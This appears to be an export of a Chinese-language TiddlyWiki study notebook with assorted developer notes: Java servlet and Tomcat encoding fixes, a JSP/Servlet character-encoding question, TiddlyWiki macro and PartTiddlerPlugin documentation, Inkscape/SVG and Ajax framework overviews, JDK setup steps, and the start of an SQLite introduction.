This example show you how to read a text file using a Servlet. Use ServletContext.getResourceAsStream() will enable you to read a file whether the web application is deployed in an exploded format or in a war file archive.
view source
print?
01.package org.kodejava.example.servlet;
02. 
03.import java.io.BufferedReader;
04.import java.io.IOException;
05.import java.io.InputStream;
06.import java.io.InputStreamReader;
07.import java.io.PrintWriter;
08. 
09.import javax.servlet.ServletContext;
10.import javax.servlet.ServletException;
11.import javax.servlet.http.HttpServlet;
12.import javax.servlet.http.HttpServletRequest;
13.import javax.servlet.http.HttpServletResponse;
14. 
15.public class ReadTextFileServlet extends HttpServlet {
16.    protected void doGet(HttpServletRequest request,
17.            HttpServletResponse response) throws ServletException, IOException {
18.         
19.        response.setContentType("text/html");
20.         
21.        //
22.        // We are going to read a file called configuration.properties. This
23.        // file is placed under the WEB-INF directory.
24.        //
25.        String filename = "/WEB-INF/configuration.properties";
26.         
27.        ServletContext context = getServletContext();
28.         
29.        //
30.        // First get the file InputStream using ServletContext.getResourceAsStream()
31.        // method.
32.        //
33.        InputStream is = context.getResourceAsStream(filename);
34.        if (is != null) {
35.            InputStreamReader isr = new InputStreamReader(is);
36.            BufferedReader reader = new BufferedReader(isr);
37.            PrintWriter writer = response.getWriter();
38.            String text = "";
39.             
40.            //
41.            // We read the file line by line and later will be displayed on the
42.            // browser page.
43.            //
44.            while ((text = reader.readLine()) != null) {
45.                writer.println(text);
46.            }
47.        }
48.    }
49. 
50.    protected void doPost(HttpServletRequest request,
51.            HttpServletResponse response) throws ServletException, IOException {
52.    }
53.}

The configuration.properties file is just a regular text file. Below is an example of the configuration we are going to read.

app.appname=Servlet Examples
app.version=1.0
app.copyright=2007
XML and Java Tutorial, Part II-Servlets
http://developerlife.com/tutorials/?p=27
若沒有做如下設定,Tomcat 預設中文都會變成亂碼。

{{op1{解法一:}}}

在所有 jsp 網頁內加入「request.setCharacterEncoding(”big5″);」,如此一來,中文就可以正常顯示,但必需要在所有的 jsp 網頁內都加上這樣,有點麻煩。

{{op1{解法二:}}}

在下列目錄中找到「setCharacterEncodingFilter.java」及「setCharacterEncodingFilter.class」:
{{{
C:\Program Files\Apache Software Foundation\Tomcat 6.0\webapps\examples\WEB-INF
}}}
並放置到你要使用的 Web 應用程式的 WEB_INF 目錄:
{{{
C:\Program Files\Apache Software Foundation\Tomcat 6.0\webapps\ROOT\WEB-INF\classes\filters
}}}
其中 classes\filters 目錄預設並不存在,必需要自己建立。

接著再找到:
{{{
C:\Program Files\Apache Software Foundation\Tomcat 6.0\webapps\ROOT\WEB-INF\web.xml
}}}
並在 <web-app> 及 </web-app> 之間加上如下敘述:
{{{
<filter>
<filter-name>Set Character Encoding</filter-name>
<filter-class>filters.SetCharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>Big5</param-value>
</init-param>
</filter>

<filter-mapping>
<filter-name>Set Character Encoding</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
}}}
其中 Big5 可以改成 UTF-8 或 MS950。設定完成後再重新啟動 Tomcat 即大功告成。
<<toBalaNotes "encoding">>

大家好,

有一個問題想請教一下,我寫了一個 JSP 和 一個 Servlet,做法都相同但 JSP 可執尋行, 而 Servlet 不行,不知原因何在?

JSP 程式碼:
{{{
<%@ page contentType="text/html;charset=big5" import="java.sql.*" %>

<%
   Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
   Connection conn = DriverManager.getConnection("jdbc:odbc:DataBase");
   Statement res = conn.createStatement();
   ResultSet rs = res.executeQuery("select * from Personal");
   ResultSetMetaData num = rs.getMetaData();

   // 下面全部使用類似這樣的輸出 out.println(rs.getString("ID"));
%>
}}}

Servlet 程式碼:
{{{
public class ServletSelectData extends HttpServlet
{
   Connection con;
   public void init()
   {
     String DriverName = "sun.jdbc.odbc.JdbcOdbcDriver";
     String url = "jdbc:odbc:DataBase";
     Class.forName(DriverName);
     con = DriverManager.getConnection(url, "", "");
   }

   public void doGet(HttpServletRequest req, HttpServletResponse res)
   throws ServletException, IOException
   {
     res.setContentType("text/html;charset=big5");
     ServletOutputStream out = res.getOutputStream();
     // 輸出 html 的程式碼從略
     Statement stmt = con.createStatement();
     String sql = "select * from personal";
     ResultSet rs = stmt.executeQuery(sql);
     ResultSetMetaData rsmd = rs.getMetaData();
     out.println("<table>");
    // 欄位標題
     out.println("<tr>");
     for (int i=1; i <= rsmd.getColumnCount(); i++)
     out.println("<td>" + rsmd.getColumnName(i) + "</td>");
     out.println("</tr>");
    // 欄位內容
     while(rs.next())
     {
     out.println("<tr>");
     for(int i=1; i <= rsmd.getColumnCount(); i++)
     out.println("<td>" + rs.getString(i) + "</td>");
     out.println("</tr>");
     }
     out.println("</table>");
     rs.close();
     con.close();
     out.println("</body></html>");
   }
}
}}}
以上都有設定 ContentType,連上相同的 Access 資料表,連線方式相同,都使用 rs.getString() 取得欄位內容,JSP 網頁可以輸出中文,但在網址列直接輸入 Servlet 的 url,網頁會出錯,如下:
{{{
java.io.CharConversionException: Not an ISO 8859-1 character: 夏
javax.servlet.ServletOutputStream.print(ServletOutputStream.java:89)
javax.servlet.ServletOutputStream.println(ServletOutputStream.java:242)
com.ServletSelectData.doPost(ServletSelectData.java:52)
com.ServletSelectData.doGet(ServletSelectData.java:70)
javax.servlet.http.HttpServlet.service(HttpServlet.java:617)
javax.servlet.http.HttpServlet.service(HttpServlet.java:717)
}}}

''答案 :'' 因 Servlet  程式中, 使用 res.getOutputStream() 這方法, 以至無法正確 處理中文

///%encoding
//%/


在文章中使用 [巨集] 可獲得更多資訊運作功能, 例如: 以標籤來排序文章, 將過濾過文章寫入外部文字檔

巨集使用格式如下 : 
{{{
<<macroName [parameters]>>
}}}

<<toBalaNotes "macro">>


///%macro
//%/
|!巨集名稱|!說明|!語法|
|allTags|List all Tags in a Tiddler|{{{<}}}{{{<allTags>>}}}|
|closeAll|Close all displayed Tiddlers|{{{<}}}{{{<closeAll>>}}}|
|list all|List all Tiddlers in a Tiddler|{{{<}}}{{{<list all>>}}}|
|list missing|List all Missing Tiddlers in a Tiddler|{{{<}}}{{{<list missing>>}}}|
|list orphans|List all orphaned Tiddlers in a Tiddler|{{{<}}}{{{<list orphans>>}}}|
|newJournal|Create new date & Time stamped Tiddler|{{{<}}}{{{<newJournal>>}}}|
|newTiddler|Create new Tiddler|{{{<}}}{{{<newTiddler>>}}}|
|permaview|URL link for all open Tiddlers|{{{<}}}{{{<permaview>>}}}|
|saveChanges |Save all ~TiddlyWiki changes|{{{<}}}{{{<saveChanges>>}}}|
|search|Display a Search box|{{{<}}}{{{<search>>}}}|
|slider|Display a Slider|{{{<}}}{{{<slider sliderID sliderTiddler sliderLabel>>}}}|
|tabs|Display Tabbed content|{{{<}}}{{{<tabs indentifier tabLabel tabName Tiddler>>}}}|
|tag|Display a Tag ~PopUp|{{{<}}}{{{<tag tagName>>}}}|
|tiddler|Display inline contents of a Tiddler|{{{<}}}{{{<tiddler Tiddler>>}}}|
|timeline|Display Timeline in a Tiddler|{{{<}}}{{{<timeline>>}}}|
|today|Dusplay Today's Date|{{{<}}}{{{<today>>}}}|
|version|Display ~TiddlyWiki's version|{{{<}}}{{{<version>>}}}|

<<toBalaNotes "buildin">>


///%buildin
//%/
{{item1{newTiddler 巨集使用格式說明}}}
{{{

<<newTiddler  label:"新增網頁"  tag:"HTML"   template:"HTMLEditTemplate"  title:"新增網頁">>

label:"新增網頁"  --->  按鈕名稱
tag:"HTML"  ---->  新文章的標籤
template:"HTMLEditTemplate"  ---->  新文章建立使用的 Template
title:"新增網頁"  ----> 新文章的 Title
}}}

{{op1{範例}}}
新增ㄧ篇標題為 Ajax 的文章, 使用格式如下 :
{{{
<<newTiddler label:"新增 Ajax 文章" title:"Ajax" tag:"Ajax" text:"/*{{{*/  /*}}}*/">>
}}}

__{{op1{實作範例}}}__

<<newTiddler label:"新增 Ajax 文章" title:"Ajax" tag:"Ajax" text:"/*{{{*/  /*}}}*/">>
{{{

include 巨集的使用格式說明

載入指定的 TiddlyWiki 網頁, 而不顯示 include 巨集命令 (hide:true)
<<include "tBalaTech-DSL1209.html" hide: true>>

顯示載入TiddlyWiki 網頁中的 Tiddler
<<tiddler '何謂 permaview ?'>>

}}}

!使用說明
{{{
1. 規劃標籤名
2. 根據 "標籤名" 產生 [編輯] 與 [顯示] 的 Template

    例如 : 標籤名為 HTML, 那麼二個 Template 的名稱為 HTMLEditTemplate, HTMLViewTemplate,
              以後只要文章的標籤有 HTML, 便會自動套用這二個 Template

3. 將以下巨集命令加入 ToolBar 文章中

    <<newTiddler  label:"新增網頁"    tag:"HTML"     template:"HTMLEditTemplate"   title:"新增網頁">>
                              ^                ^                      ^                           ^
                         按鈕名稱        新文章的標籤      新文章第一次使用的 Template     新文章的 Title

    * 必須要安裝 TaggedTemplateTweak 這個插件, 才有以上功能

}}}

請點選以下按鈕, 測試 easyEdit 功能

<<newTiddler label:新增網頁 tag:"HTML" template:"HTMLEditTemplate" title:"新增網頁">>


!HTMLEditTemplate
{{{
<div class='toolbar' macro='toolbar +saveTiddler  -cancelTiddler deleteTiddler'></div>
<div class='title' macro='view title'></div>
<div class='editor' macro='edit title'></div>
<div macro='annotations'></div>
<div class='editor' macro='easyEdit text'></div>
                                      ^
                                 這是重點

<div class='editor' macro='edit tags'></div>
<div class='editorFooter'>
<span macro='message views.editor.tagPrompt'></span>
<span macro='tagChooser'></span>
</div>
}}}

!HTMLViewTemplate
{{{
<div class='toolbar' macro='toolbar closeTiddler closeOthers +easyEdit > fields syncing permalink references jump'></div>
                                                                    ^
                                                                這是重點
<div class='title' macro='view title'></div>
<div class='subtitle'><span macro='view modifier link'></span>, <span macro='view modified date'></span> (<span macro='message views.wikified.createdPrompt'></span> <span macro='view created date'></span>)</div>
<div class='tagged' macro='tags'></div>
<div class='viewer' macro='view text wikified'></div>
<div class='tagClear'></div>
}}}
''horizontal:''
{{{
* menu #1
** [[item #1-1]]
** [[item #1-2]]
** [[item #1-3]]
* menu #2
** [[item #2-1]]
** [[item #2-2]]
** [[menu #2-3]]
* menu #3
** [[item #2-1]]
** [[item #2-2]]
** [[menu #2-3]]
<<dropMenu>>
}}}
* menu #1
** [[item #1-1]]
** [[item #1-2]]
** [[item #1-3]]
* menu #2
** [[item #2-1]]
** [[item #2-2]]
** [[menu #2-3]]
* menu #3
** [[item #2-1]]
** [[item #2-2]]
** [[menu #2-3]]
<<dropMenu>>

''vertical:''
{{{
* menu #1
** [[item #1-1]]
** [[item #1-2]]
** [[item #1-3]]
* menu #2
** [[item #2-1]]
** [[item #2-2]]
** [[menu #2-3]]
<<dropMenu vertical>>
}}}

* menu #1
** [[item #1-1]]
** [[item #1-2]]
** [[item #1-3]]
* menu #2
** [[item #2-1]]
** [[item #2-2]]
** [[menu #2-3]]
<<dropMenu vertical>>


/% %/
/***
|<html><a name="Top"/></html>''Name:''|PartTiddlerPlugin|
|''Version:''|1.0.9 (2007-07-14)|
|''Source:''|http://tiddlywiki.abego-software.de/#PartTiddlerPlugin|
|''Author:''|UdoBorkowski (ub [at] abego-software [dot] de)|
|''Licence:''|[[BSD open source license]]|
|''CoreVersion:''|2.1.3|
|''Browser:''|Firefox 1.0.4+; InternetExplorer 6.0|
!Table of Content<html><a name="TOC"/></html>
* <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Description',null, event)">Description, Syntax</a></html>
* <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Applications',null, event)">Applications</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('LongTiddler',null, event)">Refering to Paragraphs of a Longer Tiddler</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Citation',null, event)">Citation Index</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('TableCells',null, event)">Creating "multi-line" Table Cells</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Tabs',null, event)">Creating Tabs</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Sliders',null, event)">Using Sliders</a></html>
* <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Revisions',null, event)">Revision History</a></html>
* <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Code',null, event)">Code</a></html>
!Description<html><a name="Description"/></html>
With the {{{<part aPartName> ... </part>}}} feature you can structure your tiddler text into separate (named) parts. 
Each part can be referenced as a "normal" tiddler, using the "//tiddlerName//''/''//partName//" syntax (e.g. "About/Features").  E.g. you may create links to the parts (e.g. {{{[[Quotes/BAX95]]}}} or {{{[[Hobbies|AboutMe/Hobbies]]}}}), use it in {{{<<tiddler...>>}}} or {{{<<tabs...>>}}} macros etc.


''Syntax:'' 
|>|''<part'' //partName// [''hidden''] ''>'' //any tiddler content// ''</part>''|
|//partName//|The name of the part. You may reference a part tiddler with the combined tiddler name "//nameOfContainerTidder//''/''//partName//. <<br>>If you use a partName containing spaces you need to quote it (e.g. {{{"Major Overview"}}} or {{{[[Shortcut List]]}}}).|
|''hidden''|When defined the content of the part is not displayed in the container tiddler. But when the part is explicitly referenced (e.g. in a {{{<<tiddler...>>}}} macro or in a link) the part's content is displayed.|
|<html><i>any&nbsp;tiddler&nbsp;content</i></html>|<html>The content of the part.<br>A part can have any content that a "normal" tiddler may have, e.g. you may use all the formattings and macros defined.</html>|
|>|~~Syntax formatting: Keywords in ''bold'', optional parts in [...]. 'or' means that exactly one of the two alternatives must exist.~~|
<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!Applications<html><a name="Applications"/></html>
!!Refering to Paragraphs of a Longer Tiddler<html><a name="LongTiddler"/></html>
Assume you have written a long description in a tiddler and now you want to refer to the content of a certain paragraph in that tiddler (e.g. some definition.) Just wrap the text with a ''part'' block, give it a nice name, create a "pretty link" (like {{{[[Discussion Groups|Introduction/DiscussionGroups]]}}}) and you are done.

Notice this complements the approach to first writing a lot of small tiddlers and combine these tiddlers to one larger tiddler in a second step (e.g. using the {{{<<tiddler...>>}}} macro). Using the ''part'' feature you can first write a "classic" (longer) text that can be read "from top to bottom" and later "reuse" parts of this text for some more "non-linear" reading.

<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!!Citation Index<html><a name="Citation"/></html>
Create a tiddler "Citations" that contains your "citations". 
Wrap every citation with a part and a proper name. 

''Example''
{{{
<part BAX98>Baxter, Ira D. et al: //Clone Detection Using Abstract Syntax Trees.// 
in //Proc. ICSM//, 1998.</part>

<part BEL02>Bellon, Stefan: //Vergleich von Techniken zur Erkennung duplizierten Quellcodes.// 
Thesis, Uni Stuttgart, 2002.</part>

<part DUC99>Ducasse, Stéfane et al: //A Language Independent Approach for Detecting Duplicated Code.// 
in //Proc. ICSM//, 1999.</part>
}}}

You may now "cite" them just by using a pretty link like {{{[[Citations/BAX98]]}}} or even more pretty, like this {{{[[BAX98|Citations/BAX98]]}}}.

<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!!Creating "multi-line" Table Cells<html><a name="TableCells"/></html>
You may have noticed that it is hard to create table cells with "multi-line" content. E.g. if you want to create a bullet list inside a table cell you cannot just write the bullet list
{{{
* Item 1
* Item 2
* Item 3
}}}
into a table cell (i.e. between the | ... | bars) because every bullet item must start in a new line but all cells of a table row must be in one line.

Using the ''part'' feature this problem can be solved. Just create a hidden part that contains the cells content and use a {{{<<tiddler >>}}} macro to include its content in the table's cell.

''Example''
{{{
|!Subject|!Items|
|subject1|<<tiddler ./Cell1>>|
|subject2|<<tiddler ./Cell2>>|

<part Cell1 hidden>
* Item 1
* Item 2
* Item 3
</part>
...
}}}

Notice that inside the {{{<<tiddler ...>>}}} macro you may refer to the "current tiddler" using the ".".

BTW: The same approach can be used to create bullet lists with items that contain more than one line.

<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!!Creating Tabs<html><a name="Tabs"/></html>
The build-in {{{<<tabs ...>>}}} macro requires that you defined an additional tiddler for every tab it displays. When you want to have "nested" tabs you need to define a tiddler for the "main tab" and one for every tab it contains. I.e. the definition of a set of tabs that is visually displayed at one place is distributed across multiple tiddlers.

With the ''part'' feature you can put the complete definition in one tiddler, making it easier to keep an overview and maintain the tab sets.

''Example''
The standard tabs at the sidebar are defined by the following eight tiddlers:
* SideBarTabs
* TabAll
* TabMore
* TabMoreMissing
* TabMoreOrphans
* TabMoreShadowed
* TabTags
* TabTimeline

Instead of these eight tiddlers one could define the following SideBarTabs tiddler that uses the ''part'' feature:
{{{
<<tabs txtMainTab 
    Timeline Timeline SideBarTabs/Timeline 
    All 'All tiddlers' SideBarTabs/All 
    Tags 'All tags' SideBarTabs/Tags 
    More 'More lists' SideBarTabs/More>>
<part Timeline hidden><<timeline>></part>
<part All hidden><<list all>></part>
<part Tags hidden><<allTags>></part>
<part More hidden><<tabs txtMoreTab 
    Missing 'Missing tiddlers' SideBarTabs/Missing 
    Orphans 'Orphaned tiddlers' SideBarTabs/Orphans 
    Shadowed 'Shadowed tiddlers' SideBarTabs/Shadowed>></part>
<part Missing hidden><<list missing>></part>
<part Orphans hidden><<list orphans>></part>
<part Shadowed hidden><<list shadowed>></part>
}}}

Notice that you can easily "overwrite" individual parts in separate tiddlers that have the full name of the part.

E.g. if you don't like the classic timeline tab but only want to see the 100 most recent tiddlers you could create a tiddler "~SideBarTabs/Timeline" with the following content:
{{{
<<forEachTiddler 
		sortBy 'tiddler.modified' descending 
		write '(index < 100) ? "* [["+tiddler.title+"]]\n":""'>>
}}}
<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!!Using Sliders<html><a name="Sliders"/></html>
Very similar to the build-in {{{<<tabs ...>>}}} macro (see above) the {{{<<slider ...>>}}} macro requires that you defined an additional tiddler that holds the content "to be slid". You can avoid creating this extra tiddler by using the ''part'' feature

''Example''
In a tiddler "About" we may use the slider to show some details that are documented in the tiddler's "Details" part.
{{{
...
<<slider chkAboutDetails About/Details details "Click here to see more details">>
<part Details hidden>
To give you a better overview ...
</part>
...
}}}

Notice that putting the content of the slider into the slider's tiddler also has an extra benefit: When you decide you need to edit the content of the slider you can just doubleclick the content, the tiddler opens for editing and you can directly start editing the content (in the part section). In the "old" approach you would doubleclick the tiddler, see that the slider is using tiddler X, have to look for the tiddler X and can finally open it for editing. So using the ''part'' approach results in a much short workflow.

<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!Revision history<html><a name="Revisions"/></html>
* v1.0.9 (2007-07-14)
** Bugfix: Error when using the SideBarTabs example and switching between "More" and "Shadow". Thanks to cmari for reporting the issue.
* v1.0.8 (2007-06-16)
** Speeding up display of tiddlers containing multiple pard definitions. Thanks to Paco Rivière for reporting the issue.
** Support "./partName" syntax inside <<tabs ...>> macro
* v1.0.7 (2007-03-07)
** Bugfix: <<tiddler "./partName">> does not always render correctly after a refresh (e.g. like it happens when using the "Include" plugin). Thanks to Morris Gray for reporting the bug.
* v1.0.6 (2006-11-07)
** Bugfix: cannot edit tiddler when UploadPlugin by Bidix is installed. Thanks to José Luis González Castro for reporting the bug.
* v1.0.5 (2006-03-02)
** Bugfix: Example with multi-line table cells does not work in IE6. Thanks to Paulo Soares for reporting the bug.
* v1.0.4 (2006-02-28)
** Bugfix: Shadow tiddlers cannot be edited (in TW 2.0.6). Thanks to Torsten Vanek for reporting the bug.
* v1.0.3 (2006-02-26)
** Adapt code to newly introduced Tiddler.prototype.isReadOnly() function (in TW 2.0.6). Thanks to Paulo Soares for reporting the problem.
* v1.0.2 (2006-02-05)
** Also allow other macros than the "tiddler" macro use the "." in the part reference (to refer to "this" tiddler)
* v1.0.1 (2006-01-27)
** Added Table of Content for plugin documentation. Thanks to RichCarrillo for suggesting.
** Bugfix: newReminder plugin does not work when PartTiddler is installed. Thanks to PauloSoares for reporting.
* v1.0.0 (2006-01-25)
** initial version

使用 toBalaSWF2 巨集, 來撥放指定的 Flash 檔, 命令格式如下 :
{{{
<<toBalaSWF2 "movie/infotree.swf" "820" "610">>
}}}

{{item1{實作範例 : winzip 的安裝}}}

<<toBalaSWF2 "movie/winzip.swf" "820" "610" "winzip 的安裝影片">>

<<toBalaNotes "flash">>


///%flash
//%/
{{item1{可縮放向量圖形 - Scalable Vector Graphics (SVG)}}}

SVG 是基於可擴展標記語言(XML),用於描述二維向量圖形的一種圖形格式。SVG 由 W3C 制定,是一個開放標準。

__{{op1{Inkscape SVG 圖形編輯器}}}__
官方網站 : http://www.inkscape.org/index.php
Inkscape 是一套以自由軟體方式發佈與使用的向量圖形編輯器,該套軟體的開發目標是成為一套強力的繪圖工具軟體,且能完全遵循與支援 XML、SVG、CSS 等開放性的標準格式,此外 Inkscape 同時也是一套跨平臺性的應用程式,針對不同的作業系統它都有能搭配對應執行的版本,如 Windows 版、Mac OS X 版、Linux 版、以及類 UNIX 版等作業系統,不過主要仍是以 Linux 為開發平臺。

Inkscape 開始於 2003 年,最初是向量繪圖編輯器:Sodipodi 的一個分支、分線發展(fork),當時的 Inkscape 尚未具備太多商業版向量編輯器才有的功效特點,不過卻廣泛適合各類的應用。Inkscape 雖支援 SVG、CSS 等標準,然仍尚未支援完全;其中較重要的SVG 濾鏡效果(SVG filter effect)、動畫、SVG 字型等都還未能實現。而自 2006 年起 Inkscape 的發展逐漸積極活躍,如今正不斷加入新的特點與機制功效。

__{{op1{教學影片}}}__
1. Inkscape 下載 <<toBalaSWF2 "movie/downloadinkscape.swf" "820" "610" "影片">>

2. Inkscape 安裝 <<toBalaSWF2 "movie/installinkscape.swf" "820" "610" "影片">>

3. 製作隨身版 Inkscape <<toBalaSWF2 "movie/portableinkscape.swf" "820" "610" "影片">>
&nbsp;&nbsp;&nbsp;&nbsp;這步驟只是將安裝完成的 Inkscape 目錄, 完整複製到隨身裝置 (USB 隨身碟), 然後將 Inkscape 從本機移除

4. 編輯 SVG 檔 <<toBalaSWF2 "movie/createsvg.swf" "820" "610" "影片">>
&nbsp;&nbsp;&nbsp;&nbsp;如何操作 Inkscape, 請參考 [[李銘偉老師 Inkscape 的實例教學|http://163.32.161.9/maylike/teach/inkscape/index.htm]]

5. 在 [學習筆記本] 的文章中顯示 SVG 圖檔 <<toBalaSWF2 "movie/tiddlersvg.swf" "820" "610" "影片">>
&nbsp;&nbsp;&nbsp;&nbsp;利用 Inkscape 產生的 SVG 檔, 請儲存至 toBalaKMKNotepad\img\svg 目錄中, 然後在[學習筆記本] 的文章中, 使用以下的 HTML 標籤來顯示 SVG 檔
{{{
<html>
<object data="img/svg/JavaSecurity.svg" TYPE="image/svg+xml" width="505" height="355" align="center">
  <a href="svg/JavaSecurity.svg">Java security Model</a>
</object>
</html>
}}}

__{{op1{參考網站}}}__
[[運用 Inkscape 所創作出來的線上圖集|http://inkscape.deviantart.com/favourites]]

<<toBalaNotes "svg">>


 

///%svg
//%/

|Jesse James Garrett[img[img/headshot_garrett.jpg]] |<< @@font-size:16pt;color:#00f;line-height:25pt;Ajax 由 HTML、JavaScript™ 技術、DHTML、XMLHttpRequest 物件和 DOM 組成,這一傑出的方法可以將笨拙的 Web 介面轉化成互動性的 Ajax 應用程式@@|
|borderless|k

{{item1{老技術,新技巧}}}

在談到 Ajax 時,實際上涉及到多種技術,要靈活地運用它必須深入瞭解這些不同的技術。好消息是您可能已經非常熟悉其中的大部分技術,更好的是這些技術都很容易學習,並不像完整的程式語言(如 Java 或 Ruby)那樣困難。
	
{{op1{Ajax 的定義}}}

順便說一下,Ajax 是 Asynchronous JavaScript and XML(以及 DHTML 等)的縮寫, 這個縮寫是 Adaptive Path 的 Jesse James Garrett 發明的

下面是 Ajax 應用程式所用到的基本技術:

    * HTML 用於建立 Web 表單並確認應用程式其他部分使用的欄位。
    * JavaScript 程式碼是執行 Ajax 應用程式的核心程式碼,幫助改進與伺服器應用程式的通訊。
    * DHTML 或 Dynamic HTML,用於動態更新表單。我們將使用 div、span 和其他動態 HTML 元素來標記 HTML。
    * 文件物件模型 DOM 用於(透過 JavaScript 程式碼)處理 HTML 結構和(某些情況下)伺服器返回的 XML。
    * XMLHttpRequest 通訊物件, 負責與後端伺服系統交換 XML, JSON, Text 等資料


{{item1{Ajax 程式撰寫與執行}}}
在學習筆記本中, 妳可以使用以下巨集, 來實作 Ajax 程式設計
{{{
<<toBalaAjax "ajax\AjaxCall.htm" "700" "450">>
}}}

__{{op1{參考文章}}}__
點選 [[toBalaAjax - Ajax 程式設計]] 或 [[toBalaAjax - 使用 XMLHTTP 物件]]


{{item1{Ajax Framework}}}
在學習筆記本中, 指定 jslib 目錄儲存 Ajax Framework (MooTools, jQuery, Dojo, Prototype,...)

__{{op1{jQuery}}}__
官方網站 : http://jquery.com/
jQuery 是一個快速又 簡潔的JavaScript程式庫, 簡化了讓你在HTML文件裡面尋找DOM物件, 處理事件, 製作動畫, 和處理Ajax互動的過程 jQuery 是來改變你撰寫 JavaScript 的方式 

參考網站 : [[優秀 jQuery 插件17個|http://ka-yue.com/blog/useful-jquery-plugin]]

__{{op1{MooTools}}}__
官方網站 : http://mootools.net/
MooTools is a compact, modular, Object-Oriented JavaScript framework designed for the intermediate to advanced JavaScript developer. It allows you to write powerful, flexible, and cross-browser code with its elegant, well documented, and coherent API.

__{{op1{Prototype}}}__
官方網站 : http://www.prototypejs.org/
Prototype is a JavaScript Framework that aims to ease development of dynamic web applications. Featuring a unique, easy-to-use toolkit for class-driven development and the nicest Ajax library around, Prototype is quickly becoming the codebase of choice for web application developers everywhere.

__{{op1{Dojo}}}__
官方網站 : http://dojotoolkit.org/
Dojo is an Open Source DHTML toolkit written in JavaScript. It builds on several contributed code bases (nWidgets, Burstlib, f(m)), which is why we refer to it sometimes as a "unified" toolkit. Dojo aims to solve some long-standing historical problems with DHTML which prevented mass adoption of dynamic web application development.

Dojo allows you to easily build dynamic capabilities into web pages and any other environment that supports JavaScript sanely. You can use the components that Dojo provides to make your web sites more usable, responsive, and functional. With Dojo you can build degradable user interfaces more easily, prototype interactive widgets quickly, and animate transitions. You can use the lower-level APIs and compatibility layers from Dojo to write portable JavaScript and simplify complex scripts. Dojo's event system, I/O APIs, and generic language enhancement form the basis of a powerful programming environment. You can use the Dojo build tools to write command-line unit-tests for your JavaScript code. The Dojo build process helps you optimize your JavaScript for deployment by grouping sets of files together and reuse those groups through "profiles".

Dojo does all of these things by layering capabilities onto a very small core which provides the package system and little else. When you write scripts with Dojo, you can include as little or as much of the available APIs as you need to suit your needs. Dojo provides multiple points of entry, interpreter independence, forward looking APIs, and focuses on reducing barriers to adoption.

<<toBalaNotes "ajaxframework">>



///%ajaxframework
//%/
&nbsp;
學習筆記本並沒有內建 J2SE 開發平台, 如要啟用 [學習筆記本] 的 Java 開發功能, 請自行依照以下操作步驟, 安裝 J2SE 開發平台

{{item1{建置 J2SE 開發平台}}}
1. 下載 JDK
&nbsp;&nbsp;&nbsp;&nbsp;請連接至 http://java.sun.com/javase/downloads/?intcmp=1281 下載 JDK

&nbsp;&nbsp;<<toBalaSWF2 "movie/JDK6_U2_Downlaod.swf" "820" "610" "教學影片 - 下載 JDK 1.6 Update 2">>

2. 安裝 JDK
&nbsp;&nbsp;&nbsp;&nbsp;- 執行安裝檔 (jdk-6u2-windows-i586-p.exe)
&nbsp;&nbsp;&nbsp;&nbsp;- JDK 版權宣告 (按下 Yes 即可)
&nbsp;&nbsp;&nbsp;&nbsp;- 選擇安裝項目(不要安裝 Demos, Java Sources, Java 2 Runtime Environment  這三個項目), 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;並自行指定 ''安裝目錄'', 例如 : d:\jdk1.6.0_02

&nbsp;&nbsp;<<toBalaSWF2 "movie/Install_JDKU2.swf" "820" "610" "教學影片 - 安裝 JDK 1.6 Update 2">>

3. 將安裝好的 JDK 目錄 (d:\jdk1.6.0_02) 複製至 ''toBalaKMKNotepad\java'' 目錄中

4. 修改 ''toBalaKMKNotepad'' 目錄中的 ''jdkconfig.bat'' 批次檔, 如下 :
{{{
set JAVA_HOME=%CD%\java\jdk1.6.0_02
set JRE_HOME=%CD%\java\jdk1.6.0_02
}}}

5. 從視窗系統的 [控制台] 將安裝好的 JDK 移除

6. 啟動 [學習筆記本], 點選 [[toBalaJava2 - 編譯及執行 java 程式]] 進行測試


{{item1{撰寫, 編譯及執行 Java 程式}}}

1. 點選工具列中的 ''[新增文章]'' 按鈕

2. 輸入文章 ''[抬頭]'', 然後在文字區輸入以下 ''[巨集]'' 命令, 最後點選 ''[完成]''
{{{
<<toBalaJava2 "java\scjp\hello.java">>
}}}

3. 點選 ''[程式編輯]'' 按鈕, 然後輸入以下 Java 程式
{{{
public class hello {
   public static void main(String []  argv){
      System.out.println("Hi Guru");
   }
}
}}}

4. 點選 ''[編譯程式]'' 及 ''[執行程式]'' 按鈕

<<toBalaNotes "java2">>


///%java2
//%/
{{item1{SQLite 簡介}}}
官方網站 : http://www.sqlite.org/

SQL 資料庫系統是程式設計師的好幫手,對於大量的資料處理上是絕對不可或缺的。不過,如果稍微少一點的資料呢?

比如說:
{{{
    * 你有幾萬筆的資料,以後也不太會增加。
    * 你的程式可能只有單機使用,
    * 就算可以上網,你也不想就為了這個程式來架一個資料庫。
    * 這個應用程式沒有多人一起使用的需求。 
}}}
諸如此類的狀況,也許您也曾經遇到過。通常您有幾種作法:
{{{
    * 累一點,在同一台機器上架個資料庫系統。
    * 找個小型的資料庫系統,像是 GDBM,Windows 的Registry,Access,或是乾脆用 CSV 格式的文字檔。 
}}}
